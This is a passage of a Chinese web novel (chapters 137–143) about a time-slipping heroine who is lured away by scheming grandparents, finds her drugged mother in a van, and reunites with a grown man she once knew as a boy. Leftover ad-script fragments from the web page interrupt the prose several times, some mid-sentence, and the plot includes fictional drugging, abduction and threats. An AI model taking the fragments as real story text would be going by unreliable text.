“我们是小幺的亲爷奶,小幺被她那狠心的妈带走这么多年,我们做爷奶的每每想孙女时,那个心揪疼揪疼的,现在好不容易找到人,当然是要带人回去见见这孩子的叔叔伯伯们,一家人好好团聚……” 几个熟人仔细一瞧,别说,白幺幺和老太太真有几分相似,便放心了。 白幺幺跟着人走了有七八百米,最后在一辆停在路边的白色面包车前停下。 走在前面的壮汉走过去一把拉开面包车门,朝白幺幺撸了撸下巴。 “自己上去,别逼着老子动粗。” 猜到白母应该就在车上,根本不需要对方催第二次,白幺幺小跑过去,弯腰上车。 果然她猜的没错,白母的确在车上。 看照片时,她就发现了,白母应该是被迷药迷晕了。 白幺幺一上车就将人上下打量了一遍,还给人把了下脉,确认人除了手脚被捆绑起来,没遭什么罪,一路上悬着的心才落下。 不管是出于原主的心愿,还是其他,如果白母真的受到什么伤害,白幺幺真的会让女主死的。 而且,她还不可能让人那么简单的死。 想想白幺幺挺后怕的,只有千日做贼,哪有千日防贼的道理,看来女主那个神经病留不得了。 面包车是三排座的,白幺幺和白母坐在最后一排,老太太也和她们坐一排,就坐白幺幺旁边。 车子启动后,车内很安静,没人说话。 也不知道行驶了多久,老太太有点憋不住了,想伸手拉白幺幺的手,一副要和她说体己话的模样。 白幺幺暗暗庆幸自己虽闭着眼睛,却反应灵敏及时抽离手,不然要是手真被老太太碰到了。 怎么说,把手不要了,那肯定不可能。 但洗好几遍外加消毒是少不了,心里的膈应也要很久才能消除。 第138章 大佬的舔狗青梅之错位时空的爱恋(25) 老太太像是没看出她的嫌弃,只以为是被她突然这样吓到的条件反射动作,不甚在意。 白幺幺睁眼看向老太太,眸中神色复杂,身体往白母那边靠了靠。 老太太也不管她的反应,压低嗓子开始真情流露的讲起来,当然她压低嗓子的行为完全是多余的,就她现在这音量,整车人都能听到。 “小幺,奶真的很想你,你妈她真不是东西,不过看在她是你妈的份上,奶也就不和她一般见识了。” “等回去后,你就知道奶没骗你,奶一切都是为了你好,女孩子呀,这辈子最关键的就是找了个好人家嫁了,小幺,谁让你是奶的亲孙女,这关乎你后半辈子幸福的事,奶当然要费尽心神的替你张罗。” 说到这,老太太得意的笑了笑,脸上的褶子深得都能夹死苍蝇。 “小幺,经过奶花了大功夫,终于给你找了门一顶一好的人家,你到时可不能使性子,一定要和人家好好过日子,这么好的人家,那可是过了这个村,就没这个店,你要是没把握住,会后悔一辈子的。” 白幺幺:……原来打的是这目的呀,呵呵,当她是什么无知小姑娘。 老太太是真的话多,话匣子一打开就停不下来。 “小幺,奶给你打包票,奶给你定下的这门亲事,你只要一嫁过去,就是当少奶奶的命,就能过上赛神仙的日子……” 老太太什么时候说累了自己停下来的,白幺幺不知道,就那些膈应人的废话,她哪里有空听。 她在想小石会怎么做?只是帮她报警?还是会做得更多些? 打开门看到人,她第一时间就知道来者不善,所以故意没第一时间挂断电话的。 她接触的小石就是个面冷心热的,可谁知道长大后会不会变了,长歪了。 当然白幺幺不会把自身安危寄托在别人身上,毕竟还涉及到一个白母,没有绝对把握能脱困,她怎么可能乖乖跟着人走。 …… 顾老爷子出了书房,并没有走开,而是就在门外站着,毕竟他要说的话才说一半,做事肯定要有始有终的。 书房隔音很好,他在外面就是想偷听也听不到,再者,他岂是会做这种事的人。 就算是,咳咳,他也没那个胆子做呀! 人嘛,不能太闲。 这不,顾老爷子在外面站着无所事事,就开始想七想八的,越想越投入。 书房的门突然打开,顾老爷子被吓了一跳,还不待他反应,身体就被里面冲出来的身影碰倒。 顾老爷子实打实的摔了个屁股墩,也幸好他一直有在锻炼,不然老骨头真可能就散架了。 只是顾老爷子可顾不得自己的情况,他望着三爷急匆匆离开的背影,心里波涛翻滚。 不会吧,不会吧,三爷真有遗落在外面的后代!!! 顾老爷子很快就缓过来,腿脚还算麻利的从地上爬起来,都顾不得拍拍屁股上灰,忙追着三爷离开的方向跑去。 边跑,他心里边想呀,三爷这是要去见孩子,还是要去把孩子接回来? 越想,他越加快脚上速度。 顾老爷子追出去时,远远就看到三爷似乎才和谁讲完电话,收起手机坐上了车。 那脸色,怎么说,跟着三爷那么久,他真的是头一次见。 如果此时三爷手上有一把枪,顾老爷子都要以为三爷是要去毙了谁。 车子扬尘而去,顾老爷子在原地表情是变了又变。 这时从楼内走出一个少年,顾老爷子踌躇了下,还是凑到那人身边用只有两人能听到声音问:“小五,刚刚三爷跑那么匆忙,是发生什么大事了吗?跟了三爷那么多年,我还是头一次见他这样。” 被顾老爷子称呼为小五人摇了摇头,“远山叔,我也不知道,不过我爸应该知道点什么,不然我现在打电话向我爸探听探听?” 顾老爷子:“……” 见人真拿出手机,顾老爷子忙眼疾手快拉住人,“小五,别问,别问了,我还有事,就先回去了。” 顾老爷子上车后,才轻轻拍了拍胸口,果然是好奇害死猫呀,他刚刚就差点犯了这个错。 顾老爷子昨晚没休息好,一上车就开始昏昏欲睡。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 车子行驶约莫二十几分钟,他的手机响了。 也不知道电话那头说了什么,顾老爷子脸上漫不经心表情消失,表情渐渐的严肃凝重起来。 挂了电话后,顾老爷子眉头皱成了川字,心里有种不好的预感。 刚刚那通电话是他派出去调查白幺幺的人打过来的。 即使猜到这丫头真有可能和三爷扯上什么关系,但出于多方面考虑,他并没有喊停对小丫头的调查。 可是刚刚他派出去调查的人说那丫头遇上麻烦事了,顾老爷子心里当即咯噔一下。 在书房里,三爷不小心点了扩音,他当时因着听到的内容太震惊,哪里有时间细想。 可是在书房外,他后知后觉的就反应过来,那声音很熟悉,像白幺幺那丫头的。 反正顾老爷子当时把各种可能与不可能的情况都想了一遍,在他正要进一步推敲分析时,三爷就突然开门出来。 顾老爷子侧头,目光投向车窗外,良久才轻轻叹息了一声。 几十年的交情了,他拿起手机,还是决定打这通电话。 刚刚他的人说幺幺那丫头遇到的麻烦背后有颜家的影子。 如果真是,他大概也能猜出颜家为什么这么做,还有是怎么想的。 不就是个十几年没联系的救命恩人女儿,到时事已成定局,他就算再生气,想替那丫头讨回公道。 可他能做什么,最后也只能是多给那丫头点补偿。 颜家这是看小丫头不过是个没背景的孤女,连算计的手段都使得如此拙劣,扫尾工作也马马虎虎。 是有多笃定,他不可能为了个救命恩人的女儿,和他们颜家彻底撕破脸皮,开战。 顾老爷子在心里是暗自摇头啊,先不说颜家对他在这事后的态度行为预判是否准确,就颜家朝个小丫头出手这事真的让他很不齿。 而且最关键的是,那丫头和三爷的关系虽然还不明,但…… 想到这,顾老爷子又叹息了一声,颜家这回冲动了,也糊涂了。 多行不义必自毙的道理,这颜家是到现在还玩不明白呀! 第139章 大佬的舔狗青梅之错位时空的爱恋(26) 电话一接通,顾老爷子也不兜圈子,直入主题。 “老颜啊,要不是看在咱们几十年的交情上,我是不会打这通电话的。” 电话一头的颜老爷子沉默片刻,眼眸一转,似是猜到了什么,却是装起傻来。 “老顾啊,你这话说的,是发生什么事了吗?” 顾老爷子皱眉,对老伙计此刻还在揣着明白装糊涂的行为有些生气,只是几个瞬息后,化为淡然。 商场上没有永远的朋友,也没有永远的敌人,道不同不相为谋就是了。 “老颜,我能打这通电话过来,必然是查到了什么,那丫头是我老头子救命恩人的女儿,你们这样做,将陷我于何种境地?” 顾老爷子颇有些疲惫的捏了捏眉心,“多的话我也不说了,你们好自为之吧!” 电话一头的颜老爷子:“……” 他心蓦地一慌,却是打起哈哈来。 “老顾,你这是在干嘛,怎么突然那么严肃,还竟说些我听不懂的话……” 只是他的话才说一半,被顾老爷子不耐烦的打断了。 “老颜,都这种时候,你还这样,真的很没意思。” 顾老爷子语气微冷的说:“好了,言尽于此,我要挂了,不过挂断电话前,我最后提醒你下,能收手尽快收手,还是老生常谈的那句话,多行不义必自毙。” “老顾,你这是什么意思,你是打算为了那个丫头和我们颜家闹掰开战吗?你……” 颜老爷子急火被激了起来,但更多的是莫名的惊慌,只是对面并没有给他把话说完的机会。 听到手机里传出的嘟嘟声,颜老爷子有点傻了。 他被人挂电话了,尽管那人和他是一个层级的,是他的老友。 可他被挂电话是不争的事实。 怎么会这样? 的确是如顾老爷子所想的,颜家出手前,预判过他的反应。 像现在这般,完完全全出乎了颜老爷子的预料。 颜老爷子没有急着回拨过去问个究竟,他垂眸思索起来。 几分钟后,他还是拿起手机发了条信息出去。 顾老爷子直接挂掉电话后,用一秒时间反省自己的识人不清,之后赶紧打电话。 三爷那边目前全是他自己的猜测,若是他猜测对了还好说,若是错了,他明知却不做点什么,小丫头因此真遭遇什么,那他肯定是没办法原谅自己的。 …… 面包车行驶在宽阔的马路上,车里已经安静有七八分钟了。 老太太话再多也没那个胆子继续说,没办法前面两壮汉放话威胁,说她再逼逼叨叨就把人丢下车去。 这时,坐副驾上的人接了一个电话,也不知道电话里说什么。 挂了电话后,他侧身附耳对司机说了几句话。 白幺幺一直有留意车上人的动作,车子调转方向开始往回开时,她第一时间就发现了。 啥情况? 小石出手了?还是始作俑者临时变卦了? 又过了有五分钟,老太太的大嗓门再次在车内响起。 “开错路了,小伙子,开错路了,这是往回开的路!” 白幺幺:“……” 很快,老太太这一声囔囔引来司机的不满。 他回头凶狠的瞪了老太太一眼,声音粗哑的警告道:“闭嘴,死老太婆,老子怎么开车用得着你教,再听你说一个字,老子把你那嘴牙全打掉。” 被凶被威胁的老太太瞬间龟缩成一只鹌鹑,别说说话了,就是眼睛都不敢四处看。 当车子停下时,副驾上的壮汉下车,拉开后面车门。 “下来,赶紧下来。” 白幺幺装出一副小心翼翼,有些惊喜又不确定的问,“是,是在说我和我妈吗?” 壮汉不耐烦的“嗯”了声,同时补充道:“你们两个老家伙也下来。” 老头子全程都最识相,没说什么话,偶尔和老太太眼神交流下。 壮汉的话一出,老头子啥也没问,第一个配合下车的。 老太太张了张唇想说什么,可是被察觉到她意图的老头子回头瞪了一眼。 老太太只能讪讪的合上唇,从车上下来。 堵在旁边的人下去了,白幺幺才扶着还未清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醒过来的白母下车。 等她们四人都下车了,壮汉重新将车门拉上,转身上车。 车子重新启动,很快就消失在几人视线中。 老太太可能是在车上憋狠了,指着车离开的方向就骂骂咧咧起来。 白幺幺无语的翻了个白眼,背起白母回家。 老太太那架势,要不是被旁边的老头子拉了下,估计能骂上个半个小时。 “人都走了,你这样骂有什么用,走,赶紧追上那孩子。” 老太太有些不情愿的收住声,“老头子,咱们现在知道母女俩的住处了,人一时又没办法像十几年前那样跑掉,有必要这么急着追上去吗?” 老头子没解释,只是抡起拳头朝老太太挥了挥。 几十年的老夫老妻了,有些话是不需要说出来的。 白幺幺背着白母走的不慢也不快,但胜在很稳。 后面的两只小尾巴很快就跟上来了。 也不知道是不是老头子有叮嘱什么,反正追上白幺幺后,老太太一路上都很安静。 路上有遇到熟人,瞧见白母是被白幺幺背着走的,忙过来关心询问下。 白幺幺朝人做了个噤声的动作,而后小声解释说白母在车上睡着了,她不想把人喊醒,想让人好好休息下。 熟人是知道白母出车祸的事,表示能理解。 和白幺幺分开后,便跑去和其他老姐妹分享这事了,直夸白幺幺这孩子孝顺,好些家里有适龄晚辈的听了,心里更是生出某些想法来。 到了家门口,白幺幺并没有将白母放下来。 而是背着人,空出一手从口袋中拿出钥匙开门。 门一开,白幺幺背着白母进去。 紧跟身后的两条小尾巴在她进门后,也要跟着进去。 白幺幺哪能让两人进来,脏了这屋子。 她快速轻轻将白母放到玄关的换鞋凳上,然后起身抬脚将已经进来半个身体的老太太踹了出去。 很快,门口连续响起了两道哎呦声。 白幺幺收回脚,连句废话,以及一个眼神都没给外面的两人,直接把门关上。 第140章 大佬的舔狗青梅之错位时空的爱恋(27) 门外两人相互搀扶着从地上爬起,就在老太太要撒泼打滚时,被老头子一个眼刀制止了。 两人低声嘀咕了好一会儿,老太太才心不甘情不愿的瞪了眼紧闭的门,而后两人一前一后离开了。 屋里。 白幺幺先将白母放到床上安顿好后,她才拿出手机开机。 给白母打电话时,一直处在无人接听状态,心下了然。 白幺幺趁着对方没反应过来,不动声色的将手机放口袋里。 为了免生意外,稳妥起见,白幺幺还将手机关机了。 现在她手机一开机,立马收到了关机期间有好几个未接来电的短信提醒。 白幺幺点开短信一看,有小石打来的,也有……顾老爷子打来的。 这种时候,白幺幺同志当然是区别对待啦。 她先给小石回拨过去,只是电话响了很久,没人接听。 白幺幺等过了一分钟,又拨打了一通,还是没人接听。 她想着人应该是在忙,等会儿再打下,便开始给顾老爷子回电话。 两人的通话挺简单的,没办法,才讲了没几句,就有电话打进来。 白幺幺心中猜测应该是小石打过来的,便草草和顾老爷子又说了两句,就挂断电话。 扫了眼,果然是小石的电话,白幺幺忙接起来。 这孩…… 好吧,现在的小石已经不是孩子了。 看来他还是很担心她这个“陌生人”的,不错。 才按下接听键,小石的声音传来。 “你现在在哪?” 语气平静无波,白幺幺却从中听出了紧张与担忧。 白幺幺老实回答:“在家里呀!” “那刚刚?” 白幺幺故作轻松解释道:“哦,刚刚呀,就发生了点小意外,现在没事了。” 电话那头沉默了几秒,道:“现在待在家里哪里也别去,我四十分钟后到。” 白幺幺:??? 白幺幺语气不确定道:“您等下要过来我家?” 回应她的是一个简单的“嗯”。 白幺幺:……好吧,她本来就想和人约见下,刚好择日不如撞日,地点甚至都不用选了。 白幺幺像是忘记要问对方来她家干嘛,有些结巴的回道:“好……好……好的。” 白幺幺挂了电话,心里有点小激动,却没啥紧张的。 而此时坐进车里的某个男人,他则恰恰相反,握着手机的手指尖泛白,足可见他内心有多不平静。 他不信神佛,却唯独信她。 有些记忆就像烙印在脑中,渗透在身体的每一个细胞中,是无论经过多少岁月都无法磨灭的。 男人抬手轻轻按压在右肩处的某个位置,在那层层布料遮挡下的是个拇指大小的疤痕。 那天,他哭了,哭得像个真正的孩子。 或许他的哭声让她动容了,她说:“小石,别哭,你要好好活着,好好长大,未来,未来我们一定会再见面的。” 所有人都看不到她,唯独只有他看得到她。 这世间仿佛只有他见证了她的到来与存在,也见证了她的消去。 在未来相见吗? 他想到了投胎,想到了转世。 他开始在人世间寻找可能是她的她。 可是寻寻觅觅了十年又十年,时光如流沙指间滑落,他还是没能寻到她。 那年那天,他以为终于找到她了,多么相似的面容,一样的姓白,名字叫幺幺。 白大大,白幺幺。 他当时是默念着这两个名字,像是想从这样的行为获得力量般,一步一步朝着可能是她的小姑娘走去。 走近后,只一眼,他垂眸敛去其中的失望之色。 可是对上那张酷似她的脸,他着实没办法做到置之不理,转身离开。 回去后,他脑中又冒出一个想法,会不会是她傻傻的喝太多孟婆汤,刻在灵魂深处的神韵也跟着记忆一起消失了。 有时想自欺欺人,又没办法自欺欺人。 他想找,想等的只有她,他不需要任何与她神似的替身。 突然接到顾远山的电话,听完其详细讲述的内容,他心中有个声音在叫嚣。 是她吗?是她……回来了吗? 他急于想见到人,又心生胆怯…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他让顾远山将自己的联系方式给她,然后一天都无心他事的在等着她的电话。 从白天等到深夜,没人知道他是抱着什么样的心态回房休息的。 早上,顾远山早早的就过来。 原来是这家伙办事不牢靠,很晚才将他的联系方式给了她。 这时,昨夜一直迟迟没等来的电话,来了…… 那一瞬间,他竟有些慌,怯意又不受控制的在心中滋生。 直到手机停止响动,他才反应过来自己这么久都没接起电话,对方会不会误会什么? 他忙拿起手机回拨过去。 而通过这次的对话,他终于可以百分百确认,是她。 他终于等到她了! 在他们“相谈甚欢”,准备约个时间地点见面时,他听到什么? 男人握着手机的手又紧了紧,刚下飞机时,就有手下向他汇报最新情况,知道她已经安全到家了。 他有点迫不及待的拿出手机,关掉飞行模式,想给她打电话。 电话接通后,他明知故问,努力让自己表现得平静沉稳。 车子在路上疾驰着,窗外的风景飞速的倒退着。 收回看向车窗外的视线,男人闭上眼睛假寐。 …… 白母吸入的迷药剂量大概能让她昏迷个大半天,等人过来的时间里,白幺幺拧了把帕子替白母擦了擦脸。 而后,她就回房间打开电脑倒腾些东西。 门铃响时,想到马上要见的人,她才有了那么一丝小小的紧张。 真是没出息,不就是“故人”相见,白幺幺在心里嘀咕道。 但她还是小跑着过去开门,脸上挂着浅浅笑意。 打开内门,隔着外门,看清门外站着的人。 白幺幺先是怔愣了下,而后心绪翻涌。 是他? 原主要找的那个大哥哥。 怎么会这样! 白幺幺很快调整心绪,试探的喊了声,“顾石川?三爷?” 本以为开门后,会见到老年版的小石,一个顶帅顶帅的老头子。 没想到,没看到就算了,还给她如此大的“惊喜”。 第141章 大佬的舔狗青梅之错位时空的爱恋(28) 只一眼,顾石川就知道是她,是他要找的她。 她真的没有骗他,他们真的在未来相见了。 是灵魂觉醒,还是借尸还魂,亦或者是其他,这些通通都不重要……不重要…… 两人相隔一道门,却仿佛是隔着绵长岁月。 只待门一开,两方世界时间交融,她才会彻底真实的进入他的世界。 白幺幺:“???” 瞧着人傻愣愣的站那,久久没回答她的问题,眸中神色更是她有点看不懂的复杂。 白幺幺微不可察的挑了下眉,轻咳一声试图引起对方注意,心中抱着某种心理再次问道:“你就是顾石川?” 她的话落,对方终于回神,朝她点头,并“嗯”了声。 白幺幺:“……” 一时真的不知道要说什么,就感觉…… 好吧,说不出的感觉。 她怀疑自己可能穿错了世界,不然眼前的人怎么解释。 是用了某种不为人知的方法延长寿命,延缓衰老? 还是因缘巧合得了某种机缘,才得以长生? 亦或者是眼前人根本不是人,而是什么吸血鬼,妖怪之类的? 此时此刻,白幺幺脑中真的有点混乱,一个问题下意识的脱口而出。 “您……你贵庚?” 她的问题一出,原本神色淡淡的男人竟浅浅勾唇一笑。 顾石川缓缓吐出两个字来,“你猜。” 白幺幺:……呵呵,还让她猜,哼,这一定不是她认识的小石,她认识的小石才没如此恶趣味了。 不过,她想起当时问小石年龄时,好像也没得到答案。 所以…… 算了先不想了,先应付下眼前人。 白幺幺皮笑肉不笑的猜道:“二十五六这样子?” 顾石川淡笑不语,避开这个话题道:“不先请我进去坐坐吗?” 他能感觉到她似乎生气了。 可是,他怕现在告诉她自己的真实年龄,会把人吓到,想远离他怎么? 明明是她,也感觉到是拥有他们之间那段记忆的,但却不是全部,好像只恢复了很少一部分。 顾石川承认自己已经开始患得患失了,害怕她之后不再恢复关于两人的任何记忆。 而她还可能因为记忆的不完整性,对他的误解,或者其他,防备着他,拒绝再次走进他的世界,也将他拒之在她的世界门外。 也许就是太在乎,太重视,才会在短短几秒钟内,想那么多,好像还想得有点乱。 可能在别人看来,或许有庸人自扰的嫌疑,可是他就是控制不住。 门内人的白幺幺觉得她脑子有点乱,门外的顾石川又何尝不是。 一道单薄的门板,仿佛给了两人喘息的机会。 当白幺幺伸手将门打开时,两人神同步的先将脑中纷杂思绪丢到某犄角旮旯里。 白幺幺的想法很简单,多离谱的猜测都可以生出来,但绝对不能冒然下结论。 顾石川的想法同样很简单,有些记忆丢失了,哪怕永远找不回了,没事的,只要是她,他们可以重新制造更多美好的记忆。 门开后,白幺幺很是客气的将人引进屋来。 “条件有点简陋,你随便坐,随便坐哈!” 不得不说,男人这长相,这气质,和这房子真的是有点格格不入。 “不会。” 白幺幺:“???” 看出她的疑惑,顾石川解释道:“不会简陋,屋子收拾的干净整洁,整体布局,家具摆设都很用心,充斥着美感,也处处透着舒适温馨。” 白幺幺:“!!!” 她再次怀疑这真的是小石吗?她认识的小石竟然学会睁眼瞎夸夸了。 “是……是吗?我妈平时的确花不少心思折腾这些的,你这些话要是当着她的面说,她准乐得合不拢嘴。” 白幺幺咧嘴哈哈笑起来,两个小酒窝是那么抢眼,看在顾石川眼中是那么可爱。 “是……是吗?” 顾石川一时感觉大脑有些缺氧,有些话就这么脱口而出了。 “那,阿姨现在在家吗?我可以将这些话对着阿姨再说一遍的。” 白幺幺:……还能这样操作,貌似也不是不行呀! 不是,白幺幺脑中的小人疯狂摇头。 她只顾着想这会让白母开心,可是她怎么不想想,要不是白母现在还没醒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 任哪个当妈的看到自家突然来了个帅小伙,还和她宝贝闺女面对面坐着,一副相谈甚欢的景象。 而这个帅小伙一上来就朝她扔糖衣炸弹,她绝对会误会的吧! 在心中一堆疑惑还没解开时,白幺幺还是想尽量先避免这人和白母有接触。 “我妈?我妈呀,她不在家。” 白幺幺同志那说谎的功夫可以说杠杠的。 “这样啊!” 顾石川像是有些遗憾的垂了垂眼睑。 白幺幺:……我的天,这憨憨真的是小石? 白幺幺在心里疯狂尖叫,其实,其实暂时抛开其他,客观的说,真的有点萌,有点可爱呀! 两人相对无言,各怀心思 ,气氛却不显得尴尬。 也不知道过了多久,顾石川先出声打破这份安静。 “你向顾远山打听我,是想了解我什么吗?” 白幺幺:打直球,她喜欢。 白幺幺搅着手指,有些紧张,也有些期待的说:“也,也没什么,就是你还记得我吗?” 顾石川轻点了下头,“记得。” 简单的记得两字让白幺幺眼眸亮了亮,脸上满是喜色。 “真的吗?” “没想到过去那么多年了,你还记得我。” 白幺幺忙严肃了下神情,语气诚挚道:“谢谢,那天真的谢谢你了。” 敬业的打工人白幺幺上线,很好,完成原主其中一个心愿的三分之一。 至于归还玉佩,还有让人幸福,这些个都不急。 没办法,谁让玉佩她现在还有用。 “不用谢。” 顾石川心中十分庆幸,庆幸那天他没有直接转身离开。 就这样,两人又开始陷入了相对无言的状态。 此时顾石川大脑在快速运转,在思考要找什么话题和人聊。 而白幺幺那大脑同样在高速运转,她在想用什么理由把人请走,然后趁着白母还没醒来,抓紧时间去一趟另一个世界。 主要是她现在有太多了的问题,直接问眼前人,感觉不是那么容易得到答案。 而且,她也不知道从哪里问起。 第142章 大佬的舔狗青梅之错位时空的爱恋(29) 白幺幺同志绝对不会承认,她是觉得小孩子状态的顾石川,应该更好忽悠的。 啊,不是,应该是会更配合的。 “你平时应该很忙吧,那我就不耽误你时间了……” “你等下有时间吗?我想请你吃顿饭,我知道一家……” 两人思来想去,最后竟然很有默契的同时开口。 白幺幺:她这才变相的赶人,人家却要请她吃饭,当然目的明显不纯就是了,反正她就是莫名的有点尴尬。 顾石川之所以想到要请人吃饭,是因为以前每次他用餐的时候,对方看着桌上食物眼神是不一样的。 尽管极力掩饰,也自以为掩饰的很好,可是他就是从中看到了羡慕与渴望。 虽然她没有明说过,但顾石川就是知道她应该是很难抵御美食的诱惑。 顾石川表情很是认真的说道:“其实我平时不怎么忙的,空余时间真的很多的,所以你真的不用担心会耽误我时间。” 白幺幺:真诚果然是必杀技,怎么办,她好像没办法对眼前人冷硬起态度来。 “是……是吗?” 白幺幺脑中灵光一闪,还是给找到了理由。 “只是,那个,我妈平时管的我比较严,咱们算起来才第二次见,就一起吃饭,还是让你请,我妈要是知道,可能会……” 白幺幺后面的话没说完,给了对方一个你懂的纠结眼神。 白幺幺话中委婉拒绝的意思那么明显,顾石川怎么可能没听出来。 他也后知后觉反应过来自己操之过急了。 顾石川面露歉意道:“抱歉,是我考虑不周了,那等我们再熟悉些,我再请你吃饭。” 白幺幺:她怎么有种在欺负小孩版的小石的即视感,那种莫名的不舒服感觉是闹哪样。 白幺幺低了低头,小声说道:“那个,你不用道歉的。” 顾石川是谁,那么聪明的人,想通后,他主动起身提出要离开了。 的确,他一个大男人,冒昧登门。 在两人现实意义上才见第二面的情况下,就提出要请人吃饭,实在是太孟浪了。 事态按照她期许的发展了。 可送人到门口时,白幺幺同志心中再次涌起莫名的情绪,不好形容,但很不得劲就是了。 顾石川对人的情绪感知敏锐,更何况他注意力一直在白幺幺身上。 白幺幺情绪有波动,他立马就察觉到了。 第一时间并没有往人是因为他而起的情绪波动,只以为是不是送他到门口,勾起了早上的不好回忆。 当即黑眸中闪过一道寒芒,稍瞬即逝。 顾石川极力克制着心中的不舍,浅浅勾唇,放柔语气。 “咱们现在应该算是朋友了吧,我的联系方式你有了,你的联系方式我也有了,你平时若是遇到任何事情,都可以给我打电话的。” 似是想到她现在的身份还是个学生,顾石川又补充道:“学习上若是有什么不懂的问题,也可以给我打电话,我,我学习很好的。” 第一次在异性面前自夸,顾石川耳后根处悄然红了。 心中更是懊恼自己面对她时似乎变得有些嘴笨,说的话总感觉词不达意,还有点啰里啰嗦的,没办法把话说得很漂亮。 白幺幺:“……” 有点可爱怎么办?! 不得劲啥的,一下子消失的无影无踪。 她现在就很想笑,也很努力在憋笑。 眼前的人对她的所图太明显了,好像从见面开始就很直白,没含蓄掩饰过。 白幺幺不是拧巴的性子,并不反感人对她的所图。 可是她脑门上一直挂着个问号,不明白对方情之所起。 总不能像原主那般,当年就原主一见钟情了,那人这几年在干嘛,都没过来找原主。 白幺幺怎么想都觉得不合理,索性也先不想了。 她笑了笑,回了个“好的,我会的。” 白幺幺本是想看着人离开再关门的,可是顾石川却表示要看着她关门后再走。 白幺幺猜到对方的用意,心中一下子有被暖到。 顾石川回到车上就拿出手机开始编辑,删删减减的。 五分钟过去后,短信编辑框里就只有“今天见到你很高兴”这么句话。 而后目光盯着发送键许久,却迟迟没有按下去。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 也不知道维持了这个动作多久,顾石川手指才在手机屏幕上轻轻点了下。 短信发送成功,顾石川视线依旧没从手机屏幕上移开。 顾石川从未想过自己会有像现在这般,仅仅是给人发条短信而已。 从内容编辑开始到发送会耗时如此之久,短信发出后,又开始心绪不宁的等着回复。 迟迟没等到回复,心中就开始反复斟酌自己刚刚发的短信内容是否有问题,不然怎么还没收到对方的回复。 白幺幺那边可不知道他的纠结与等待,因为她送走人后,就马不停蹄的去另一个世界了。 所以,顾石川那边注定要失望,短时间内是等不到短信回复了。 另一边世界此时是深夜。 白幺幺一来,没有意外的出现 在小石的卧室里。 也不知道是半夜起风了,还是这个世界白天的天气本就不好。 卧室的窗户没关,窗外的风呼呼往屋里灌,还算厚重的窗帘都被吹得做起各种高难度的舞姿来。 白幺幺无奈的想要嘀咕出声,只是她很快反应过来,最后只能轻摇了下头。 这孩子真是,晚上睡觉也不知道要关窗。 先不说半夜突然起风或者下大雨怎么办,要是有坏人偷偷爬窗进来,那真的很危险的。 白幺幺是很想帮忙把窗户关上的,可是她心有余而力不足呀! 也幸好现下的天气还没转凉,夜里的风吹了不至于让人着凉。 白幺幺走到床边,明明看了好多遍的脸,也盯着看好几次了。 可此时此刻,她还是止不住又盯着人看起来,边看还边暗自在心里各种嘀咕。 这小脸长得是真的俊,长大后也没长残。 嗯,很不错。 白幺幺才在心里嘀咕没两句,就被一声嘤咛打断了思绪。 这是……做噩梦了? 此时小孩脸上呈现出痛苦的表情,头开始轻微摇晃着,双唇微张发出不清不楚的音节。 白幺幺皱眉,凑得很近了,还是没能听清楚。 瞧着陷入梦魇,神色越来越痛苦的小脸,她开始犹豫,要不要把人喊醒。 第143章 大佬的舔狗青梅之错位时空的爱恋(30) 或许是出于关心,或许是出于好奇,又或许出于更多道不清的原因。 白幺幺有些不死心的再次将耳朵贴近些,想要听清的小孩梦中呓语的内容。 因着太全神贯注了,并没有注意到脖子上戴着的玉佩随着她的动作,从领口滑落出来,落在了床上人的脖颈上。 跟白幺幺一样没有实体的玉佩就像一道虚影慢慢的没入了小孩身体里,等她察觉到不对劲时,已经晚了! 白幺幺瞪大眼睛,里面满是惊惧恐慌,在她身体彻底没入小孩身体前一刻,她直觉要完了。 短短的一两秒功夫里,脑中闪过好几个问句。 呜呜,她要是夺舍了小石的身体,那小石的灵魂会不会直接被她挤出身体? 要是没有,她还能自己从小石身体里出来,将身体还给小石吗? 小石醒来会不会被吓坏了呀? 好想爆粗口,为什么会发生这种事? 要是她真的永远被困在小石身体里…… 白幺幺再次恢复意识睁开眼睛时,眼里,脸上,脑门上,全都写满了懵逼二字。 我是谁? 我在哪儿? 我要干什么? 经典的灵魂三问在白幺幺脑中飘过。 没给她太多思考的时间,前方屋里觥筹交错的声音吸引了她的注意。 白幺幺一时也顾不得思考她不是被吸进小石的身体里了,怎么会出现在这个陌生地方。 察觉到酒桌上有人侧过头来,透过敞开的窗户朝她这边看来。 先不管他三七二十一,白幺幺条件反射的蹲下身来躲避对方的视线。 “干他娘的,天寒地冻的,谁把窗户打开了。” 接近一米九,粗壮如熊的中年糙汉从凳子上站起来。 动作幅度有点大,直接将身后的凳子带倒了,发出砰的一声。 酒桌上的其他几个男人被这突然地动静吓到了,纷纷各种爆粗口。 那罪魁祸首中年糙汉也一起加入爆粗口行列,只是他倒是还记得为什么站起来。 脚步虚浮,踉踉跄跄的走过去,动作粗鲁的将窗户关上,又是砰的一声,同时震落了些窗边树上的雪。 等窗户被关上后,白幺幺才重新站起身来开始打量四周环境。 她此时应该是在一处大户人家的宅院中。 目之所及,有假山,有湖,还有湖心亭…… 假山上落满了雪,湖面上也结了一层薄薄的冰,白幺幺……她是不是忘记什么呢? 变故一茬接着一茬的,白幺幺同志脑子一时也跟着掉线了。 就这外面的情况,她穿着夏衣竟然感觉不到冷,这说明什么?说明什么!!! 是莫名其妙到了这个莫名其妙的地方没错,可她依旧是灵魂状态。 屋里的人根本看不到她,所以她刚刚躲什么躲呀,真傻。 白幺幺美滋滋的想,有这点优势就是好。 她几步走到不断有各种嘈杂声音传出来房间门前,身体直接穿门而入。 房间里布置装饰就一个字“壕”,白幺幺简单扫了眼,就将视线落在酒桌上的几人身上。 不大的圆桌上坐着五个男人,穿的衣服款式很有年代感,白幺幺心中有了猜测。 当她视线落在五人中身量颀长,却不似其他四人,不是糙汉子就是油腻大肚腩,一副温润如玉书生模样的男人脸上时,瞳孔骤缩了下。 